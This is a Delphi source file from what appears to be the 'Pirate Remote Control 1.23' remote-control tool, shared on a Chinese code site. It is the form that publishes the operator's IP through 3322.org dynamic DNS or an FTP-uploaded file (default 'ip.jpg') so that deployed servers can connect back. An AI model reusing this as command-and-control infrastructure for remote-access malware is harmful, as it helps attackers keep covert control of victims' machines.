📄 upip.pas

📁 海盗远控1.23源代码
💻 PAS
字号:
unit UpIp;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,WinInet,
  Dialogs, StdCtrls, SkinCtrls, SkinBoxCtrls, Mask, ComCtrls, SkinTabs,Shellapi,
  DynamicSkinForm, ImgList, IdBaseComponent, IdComponent, IdTCPConnection,mmsystem,
  IdTCPClient, IdHTTP, DESCrypt, IdFTP,LangFrm, IdFTPCommon;

type
  TUpIpDate = class(TLangForm)
    ImageList1: TImageList;
    spDynamicSkinForm1: TspDynamicSkinForm;
    IdHTTP2: TIdHTTP;
    Label1: TspSkinLabel;
    PageControl1: TspSkinPageControl;
    TabSheet1: TspSkinTabSheet;
    Panel1: TspSkinPanel;
    Label2: TspSkinStdLabel;
    Label3: TspSkinStdLabel;
    Label4: TspSkinStdLabel;
    Label5: TspSkinStdLabel;
    Label6: TspSkinStdLabel;
    FTPAdder: TspSkinEdit;
    FTPPort: TspSkinEdit;
    FTPUser: TspSkinEdit;
    FTPPass1: TspSkinPasswordEdit;
    FTPPass2: TspSkinPasswordEdit;
    Panel2: TspSkinPanel;
    Label7: TspSkinStdLabel;
    Label8: TspSkinStdLabel;
    IpFileEdit: TspSkinEdit;
    IPAddEdit: TspSkinComboBox;
    RadioBox1: TspSkinCheckRadioBox;
    FtpButton1: TspSkinButton;
    TabSheet3: TspSkinTabSheet;
    Label15: TspSkinStdLabel;
    Label17: TspSkinStdLabel;
    Label18: TspSkinStdLabel;
    Label19: TspSkinStdLabel;
    Label16: TLabel;
    XwEdit: TspSkinEdit;
    Xwuser: TspSkinEdit;
    XWComboBox: TspSkinComboBox;
    CheckRadioBox1: TspSkinCheckRadioBox;
    XWButton: TspSkinButton;
    Xwpass: TspSkinPasswordEdit;
    LianJie: TspSkinComboBox;
    spSkinStdLabel1: TspSkinStdLabel;
    Button1: TspSkinButton;
    IdFTP1: TIdFTP;
    procedure Label16Click(Sender: TObject);
    procedure XWButtonClick(Sender: TObject);
    procedure FtpButton1Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure RadioBox1Click(Sender: TObject);
    procedure CheckRadioBox1Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
     function UpIP(Body,UpdateS:String):Boolean;
  public
    { Public declarations }
    procedure AfterGetFile(Sender: TObject);
  end;

var
  UpIpDate: TUpIpDate;

implementation
uses
  Main;
{$R *.dfm}

//FTP填写说明
procedure TUpIpDate.Button1Click(Sender: TObject);
begin
  MessageBox(0,Pchar('存放IP文件说明:'+#13+#10+'这里是远程FTP路径加文件名。如果是保存在FTP根目录下就直接写文件名。'
  +#13+#10+'示例:目录/文件名'+#13+#10+'如果使用了目录名请保证FTP目录已存在'),Pchar('填写说明'),MB_OK);
end;

function CenterStr(Src:String;Before,After:String):String;
  { 这个函数用来分离两个字符串中间的字符串，
    例如 ..('DelphiBox.com','Delphi','.com')=>'Box'。 }
var
    Pos1,Pos2:WORD;
    Temp:String;
begin
    Temp:=Src;
    Pos1:=Pos(Before,Temp);
    Delete(Temp,1,Pos1+Length(Before));
    Pos2:=Pos(After,Temp);
    if (Pos1=0) or (Pos2=0) then
    begin
      Result:='';
      Exit;
    end;
    Pos1:=Pos1+Length(Before);
    Result:=Copy(Src,Pos1,Pos2);
end;

function TUpIpDate.UpIP(Body,UpdateS:String):Boolean;
var
i:integer;
begin
Result:=False;
i:=pos(UpdateS,Body);      //Update:='修改成功'
if i>=1 then  Result:=True;
end;

procedure TUpIpDate.AfterGetFile(Sender: TObject);
begin
try
  Label1.Caption:='FTP更新IP成功.';
  if Viking.isSound then
  begin
    try
      sndplaysound('',snd_async);
      sndplaysound(Pchar(Viking.UpIPok),snd_async);
    except
    end;
  end;
except
  Label1.Caption:='FTP更新IP完成.但Http访问出错.';
end;
end;



procedure XWDns;
var
username,pass,Temp:string;
tmphttp:string;
begin
  try
    username:=UpIpDate.Xwuser.Text;
    pass:= UpIpDate.Xwpass.Text;
    tmphttp:='http://www.3322.org/dyndns/update?system=dyndns&hostname='+UpIpDate.XwEdit.Text+'&myip='+UpIpDate.XWComboBox.Text+'&wildcard=OFF&mx=&backmx=NO';
    UpIpDate.IdHTTP2.Request.Username :=username;
    UpIpDate.IdHTTP2.Request.Password :=pass;
    Temp:=UpIpDate.IdHTTP2.Get(tmphttp);
    UpIpDate.IdHTTP2.Disconnect;
    if UpIpDate.UpIP(Temp,'good') then
    begin
      UpIpDate.Label1.Caption :='更新IP成功!请等待服务器上线!';
          if Viking.isSound then
            begin
              try
                sndplaysound('',snd_async);
                sndplaysound(Pchar(Viking.UpIPok),snd_async);
              except
              end;
            end;
    end
    else begin
    if pos('badauth',Temp)>0 then begin
    UpIpDate.Label1.Caption :='更新IP失败!用户名或密码不正确!';
    UpIpDate.XWButton.Enabled:=True;
    Exit;
    end;
    UpIpDate.Label1.Caption :='更新IP失败!请检查输入信息是否正确!'+Temp;
    end;
  Except
    UpIpDate.Label1.Caption :='更新IP错误!请检查网络!';
  end;
  UpIpDate.XWButton.Enabled:=True;
end;

type
   TXWDnsThread = class(TThread)
   public
      procedure   Execute; override;
   end;

procedure TXWDnsThread.Execute;
begin
  XWDns;
  Terminate;
end;

procedure TUpIpDate.Label16Click(Sender: TObject);
begin
  ShellExecute(0, 'Open', pchar('http://www.3322.org'),nil, nil, SW_Show);
end;

procedure TUpIpDate.XWButtonClick(Sender: TObject);
begin
  if XwEdit.Text='' then
  begin
    Label1.Caption:='对不起!好像您没有填写域名噢!请您填上吧!';
    Exit;
  end;
  if Xwuser.Text='' then
  begin
    Label1.Caption:='对不起!请填写用户名!';
    Exit;
  end;
  if Xwpass.Text='' then
  begin
    Label1.Caption:='对不起!请填写密码!';
    Exit;
  end;
  XWButton.Enabled:=False;
  Label1.Caption:='开始更新IP地址到域名...';
  TXWDnsThread.Create(false);
end;



procedure TUpIpDate.FtpButton1Click(Sender: TObject);
var
   IPFile:String;
   F: textfile;
begin
  if FTPAdder.Text='' then
  begin
    Label1.Caption :='请输入FTP服务器地址!';
    Exit;
  end;
  if FTPUser.Text='' then
  begin
    Label1.Caption :='请输入FTP用户名!';
    Exit;
  end;
  if FTPPass1.Text<>FTPPass2.Text then
  begin
    Label1.Caption :='两次密码输入不一样!';
    FTPPass1.Text:='';
    FTPPass2.Text:='';
    Exit;
  end;
  try
    IPFile := ExtractFilePath(Paramstr(0)) + 'FTPIp.dat';
    AssignFile(F,IPFile);
    Rewrite(F);{F为TextFile类型}
    WriteLn(F,'http://'+IPAddEdit.Text+'/index.asp');
    CloseFile(F);
  except
    Label1.Caption:='写FTP上传文件出错.';
    Exit;
  end;
  with IdFTP1 do
  begin
    try
      Label1.Caption :='正在连接FTP服务器.';
      if LianJie.Text = 'PASV' then Passive:=True else Passive:=False;
      Host := FTPAdder.Text;
      Port := Strtoint(FTPPort.Text);// Standardport
      Username := FTPUser.Text;
      Password := FTPPass1.Text;
      TransferType:=ftASCII;
      Connect;
      Put(IPFile,IpFileEdit.Text);
      Disconnect;
      AfterGetFile(nil);
    except
      Label1.Caption :='连接FTP失败,请尝试更换连接模式!';
      Disconnect;
    end;
  end;
end;



procedure TUpIpDate.CheckRadioBox1Click(Sender: TObject);
begin
  try
    if CheckRadioBox1.Checked then
    begin
      ViKing.myinifile.writestring('DNSYuming','AutoSave','1');
      ViKing.myinifile.writestring('DNSYuming','Dns',XwEdit.text);
      ViKing.myinifile.writestring('DNSYuming','User',Xwuser.text);
      ViKing.myinifile.writestring('DNSYuming','Password',EnCryptStr(Xwpass.text,'HAIDAO'));
    end else begin
      ViKing.myinifile.writestring('DNSYuming','AutoSave','0');
      ViKing.myinifile.writestring('DNSYuming','User','');
      ViKing.myinifile.writestring('DNSYuming','Password','');
    end;
  except
  end;
end;


procedure TUpIpDate.RadioBox1Click(Sender: TObject);
begin
  try
    if RadioBox1.Checked then
    begin
      ViKing.myinifile.writestring('FTP','AutoSave','1');
      ViKing.myinifile.writestring('FTP','FTPServer',FTPAdder.text);
      ViKing.myinifile.writestring('FTP','FTPport',FTPPort.text);
      ViKing.myinifile.writestring('FTP','FTPUser',FTPUser.Text);
      ViKing.myinifile.writestring('FTP','Password',EnCryptStr(FTPPass1.Text,'HAIDAO'));
      ViKing.myinifile.writestring('FTP','IpFile',IpFileEdit.Text);
    end else begin
      ViKing.myinifile.writestring('FTP','AutoSave','0');
      ViKing.myinifile.writestring('FTP','FTPServer','');
      ViKing.myinifile.writestring('FTP','FTPport','21');
      ViKing.myinifile.writestring('FTP','FTPUser','');
      ViKing.myinifile.writestring('FTP','Password','');
      ViKing.myinifile.writestring('FTP','IpFile','ip.jpg');
    end;
  except
  end;
end;

procedure TUpIpDate.FormClose(Sender: TObject; var Action: TCloseAction);
begin
try
if RadioBox1.Checked then
  begin
    ViKing.myinifile.writestring('FTP','AutoSave','1');
    ViKing.myinifile.writestring('FTP','FTPServer',FTPAdder.text);
    ViKing.myinifile.writestring('FTP','FTPport',FTPPort.text);
    ViKing.myinifile.writestring('FTP','FTPUser',FTPUser.Text);
    ViKing.myinifile.writestring('FTP','Password',EnCryptStr(FTPPass1.Text,'HAIDAO'));
    ViKing.myinifile.writestring('FTP','IpFile',IpFileEdit.Text);
  end else begin
    ViKing.myinifile.writestring('FTP','AutoSave','0');
    ViKing.myinifile.writestring('FTP','FTPServer','');
    ViKing.myinifile.writestring('FTP','FTPport','21');
    ViKing.myinifile.writestring('FTP','FTPUser','');
    ViKing.myinifile.writestring('FTP','Password','');
    ViKing.myinifile.writestring('FTP','IpFile','ip.jpg');
  end;
except
end;

try
if CheckRadioBox1.Checked then
  begin
    ViKing.myinifile.writestring('DNSYuming','AutoSave','1');
    ViKing.myinifile.writestring('DNSYuming','Dns',XwEdit.text);
    ViKing.myinifile.writestring('DNSYuming','User',Xwuser.text);
    ViKing.myinifile.writestring('DNSYuming','Password',EnCryptStr(Xwpass.text,'HAIDAO'));
  end else begin
    ViKing.myinifile.writestring('DNSYuming','AutoSave','0');
    ViKing.myinifile.writestring('DNSYuming','User','');
    ViKing.myinifile.writestring('DNSYuming','Password','');
  end;
except
end;
end;

end.
💿 文件大小 1573 K
👤 上传用户 c_word
📂 所属分类 Delphi控件源码
🏷️ 相关标签

#1.23 #海 #源代码
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -